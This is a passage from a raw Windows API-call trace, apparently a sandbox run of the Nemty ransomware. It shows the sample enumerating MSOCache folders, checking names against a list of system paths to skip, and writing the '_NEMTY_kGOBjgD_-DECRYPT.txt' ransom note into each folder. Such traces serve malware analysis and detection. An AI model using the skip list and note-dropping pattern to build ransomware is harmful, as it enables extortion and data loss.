(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.879] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a806b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0a806b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0a806b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.879] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.880] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.880] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0048.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0117-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0117-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0117-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0117-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0117-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0117-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.883] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.883] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.884] CloseHandle (hObject=0x3c4) returned 1 [0048.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.886] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.886] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.887] CloseHandle (hObject=0x3c4) returned 1 [0048.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.887] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0d540d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d540d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.887] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.887] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0d540d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d540d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.887] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.887] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.887] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2=".") returned 1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="..") returned 1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="...") returned 1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="windows") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="$RECYCLE.BIN") returned 1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="rsa") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="NTDETECT.COM") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="ntldr") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="MSDOS.SYS") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="IO.SYS") returned -1 [0048.887] lstrcmpiW (lpString1="Access.en-us", lpString2="boot.ini") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="boot.ini") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="AUTOEXEC.BAT") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="ntuser.dat") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="desktop.ini") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="CONFIG.SYS") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="RECYCLER") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="BOOTSECT.BAK") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="bootmgr") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="programdata") returned -1 [0048.888] lstrcmpiW (lpString1="Access.en-us", lpString2="appdata") returned -1 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.en-us", lpUsedDefaultChar=0x0) returned 12 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.en-us", lpUsedDefaultChar=0x0) returned 12 [0048.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0048.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0048.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340110 [0048.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0048.891] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.891] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.892] CloseHandle (hObject=0x3c8) returned 1 [0048.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0048.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0048.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0048.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.893] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.893] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0048.894] CloseHandle (hObject=0x3c8) returned 1 [0048.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0048.894] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0d7a230, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d7a230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 